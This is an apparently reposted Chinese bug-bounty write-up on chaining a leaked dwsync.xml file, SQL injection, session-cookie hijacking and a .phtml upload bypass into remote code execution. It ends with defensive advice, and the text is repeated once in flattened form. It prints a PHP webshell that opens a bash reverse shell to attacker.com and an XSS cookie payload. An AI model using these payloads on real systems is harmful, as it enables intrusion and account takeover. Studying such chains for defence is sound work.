bugbounty:File Disclosure to Remote Code Execution
字数 1895 2025-08-26 22:11:51

从文件泄露到远程代码执行:完整漏洞利用链分析

漏洞概述

本文详细分析了一个从文件泄露开始,最终实现远程代码执行(RCE)的完整漏洞利用链。攻击者通过信息收集、SQL注入、身份验证绕过、文件上传漏洞等多个环节,最终在目标服务器上获取了shell权限。

漏洞利用步骤

1. 信息收集与文件泄露

关键点

  • 使用目录爆破工具(dirseach等)发现敏感文件
  • 发现Dreamweaver生成的dwsync.xml文件
    • 路径:https://redacted.com/dir/_notes/dwsync.xml
    • 该文件包含网站文件结构信息

技术细节

  • dwsync.xml是Dreamweaver网站管理软件生成的配置文件
  • 通常包含网站目录结构、文件关联信息等
  • 攻击者通过此文件获取了redacted.php等关键文件路径

2. SQL注入漏洞利用

发现过程

  1. 访问redacted.php文件时出现错误:Undefined index: ver
  2. 添加ver参数:https://redacted.com/dir/redacted.php?ver=1
  3. 页面显示数字"1",表明参数被直接使用
  4. 尝试SQL注入payload:https://redacted.com/dir/redacted.php?ver=1'

利用结果

  • 使用SQLmap成功获取数据库信息:
    available databases [5]:
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] redacted_db
    [*] tmp
    
  • redacted_db数据库中提取了user_tblsession_tbl

3. 身份验证绕过

技术细节

  1. user_tbl表中的密码使用MD5加密,无法直接破解
  2. 发现session_tbl表包含三列:iduser_idsession
  3. 从表中提取有效的session值
  4. 将session值注入到网站cookie中实现身份验证绕过

关键点

  • 当无法直接破解密码时,寻找其他认证机制
  • Session劫持是一种有效的身份验证绕过方式

4. 无限制文件上传漏洞

漏洞发现

  1. 登录后发现文件上传功能
  2. 前端限制上传.phtml文件
  3. 使用Burp Suite拦截上传请求,修改文件扩展名

利用过程

  1. 上传.jpg文件,拦截请求
  2. 修改文件扩展名为.phtml
  3. 文件成功上传到AWS S3存储桶:
    https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml

服务器响应分析

/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235

5. 远程代码执行(RCE)

关键发现

  • 上传的文件会暂时存储在web服务器上,然后转移到AWS
  • 存在时间窗口可以访问服务器上的临时文件

利用步骤

  1. 上传包含PHP webshell的.phtml文件:
    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
    
  2. 使用Burp Suite爆破可能的临时文件路径
  3. 当HTTP响应为200时,表示文件存在于web服务器上
  4. 访问临时文件触发反向shell

持久化攻击

  • 在服务器上放置包含XSS payload的HTML文件:
    <script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>
    
  • 创建恶意cookie在所有页面触发XSS

漏洞利用技巧总结

  1. 低危漏洞的扩大利用

    • 不要满足于低危漏洞的发现,尝试扩大影响范围
    • 组合多个低危漏洞可能产生高危影响
  2. 受限访问系统的测试

    • 对于没有注册功能的网站,使用目录爆破寻找敏感信息
    • 内部系统往往存在更多漏洞
  3. SQL注入的深入利用

    • 当密码无法破解时,检查其他表寻找认证机制
    • Session表是身份验证绕过的常见目标
  4. 文件上传绕过

    • 前端验证可通过代理工具绕过
    • 尝试各种文件扩展名(.phtml, .php5, .phar等)
  5. 临时文件利用

    • 注意服务器响应中的路径信息
    • 文件处理过程中的时间差可能带来利用机会

防御建议

  1. 信息泄露防护

    • 删除开发过程中生成的临时文件(dwsync.xml等)
    • 限制目录列表访问
  2. SQL注入防护

    • 使用参数化查询
    • 实施最小权限原则
  3. 身份验证加固

    • 使用安全的session管理机制
    • 实施session绑定(IP, User-Agent等)
  4. 文件上传安全

    • 实施严格的白名单验证
    • 在服务器端验证文件内容和扩展名
    • 使用随机文件名并存储在web根目录外
  5. 代码执行防护

    • 禁用危险函数(exec, system等)
    • 实施文件完整性监控
    • 限制服务器出站连接

结论

这个案例展示了如何将多个看似不严重的漏洞串联成完整的攻击链,最终实现远程代码执行。渗透测试人员应具备将不同漏洞组合利用的思维,而防御方则需要关注系统的整体安全态势,而不仅仅是单个漏洞的修补。

从文件泄露到远程代码执行:完整漏洞利用链分析 漏洞概述 本文详细分析了一个从文件泄露开始,最终实现远程代码执行(RCE)的完整漏洞利用链。攻击者通过信息收集、SQL注入、身份验证绕过、文件上传漏洞等多个环节,最终在目标服务器上获取了shell权限。 漏洞利用步骤 1. 信息收集与文件泄露 关键点 : 使用目录爆破工具(dirseach等)发现敏感文件 发现Dreamweaver生成的 dwsync.xml 文件 路径: https://redacted.com/dir/_notes/dwsync.xml 该文件包含网站文件结构信息 技术细节 : dwsync.xml 是Dreamweaver网站管理软件生成的配置文件 通常包含网站目录结构、文件关联信息等 攻击者通过此文件获取了 redacted.php 等关键文件路径 2. SQL注入漏洞利用 发现过程 : 访问 redacted.php 文件时出现错误: Undefined index: ver 添加 ver 参数: https://redacted.com/dir/redacted.php?ver=1 页面显示数字"1",表明参数被直接使用 尝试SQL注入payload: https://redacted.com/dir/redacted.php?ver=1' 利用结果 : 使用SQLmap成功获取数据库信息: 从 redacted_db 数据库中提取了 user_tbl 和 session_tbl 表 3. 身份验证绕过 技术细节 : user_tbl 表中的密码使用MD5加密,无法直接破解 发现 session_tbl 表包含三列: id 、 user_id 和 session 从表中提取有效的session值 将session值注入到网站cookie中实现身份验证绕过 关键点 : 当无法直接破解密码时,寻找其他认证机制 Session劫持是一种有效的身份验证绕过方式 4. 无限制文件上传漏洞 漏洞发现 : 登录后发现文件上传功能 前端限制上传 .phtml 文件 使用Burp Suite拦截上传请求,修改文件扩展名 利用过程 : 上传 .jpg 文件,拦截请求 修改文件扩展名为 .phtml 文件成功上传到AWS S3存储桶: https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml 服务器响应分析 : 5. 远程代码执行(RCE) 关键发现 : 上传的文件会暂时存储在web服务器上,然后转移到AWS 存在时间窗口可以访问服务器上的临时文件 利用步骤 : 上传包含PHP webshell的 .phtml 文件: 使用Burp Suite爆破可能的临时文件路径 当HTTP响应为200时,表示文件存在于web服务器上 访问临时文件触发反向shell 持久化攻击 : 在服务器上放置包含XSS payload的HTML文件: 创建恶意cookie在所有页面触发XSS 漏洞利用技巧总结 低危漏洞的扩大利用 : 不要满足于低危漏洞的发现,尝试扩大影响范围 组合多个低危漏洞可能产生高危影响 受限访问系统的测试 : 对于没有注册功能的网站,使用目录爆破寻找敏感信息 内部系统往往存在更多漏洞 SQL注入的深入利用 : 当密码无法破解时,检查其他表寻找认证机制 Session表是身份验证绕过的常见目标 文件上传绕过 : 前端验证可通过代理工具绕过 尝试各种文件扩展名(.phtml, .php5, .phar等) 临时文件利用 : 注意服务器响应中的路径信息 文件处理过程中的时间差可能带来利用机会 防御建议 信息泄露防护 : 删除开发过程中生成的临时文件(dwsync.xml等) 限制目录列表访问 SQL注入防护 : 使用参数化查询 实施最小权限原则 身份验证加固 : 使用安全的session管理机制 实施session绑定(IP, User-Agent等) 文件上传安全 : 实施严格的白名单验证 在服务器端验证文件内容和扩展名 使用随机文件名并存储在web根目录外 代码执行防护 : 禁用危险函数(exec, system等) 实施文件完整性监控 限制服务器出站连接 结论 这个案例展示了如何将多个看似不严重的漏洞串联成完整的攻击链,最终实现远程代码执行。渗透测试人员应具备将不同漏洞组合利用的思维,而防御方则需要关注系统的整体安全态势,而不仅仅是单个漏洞的修补。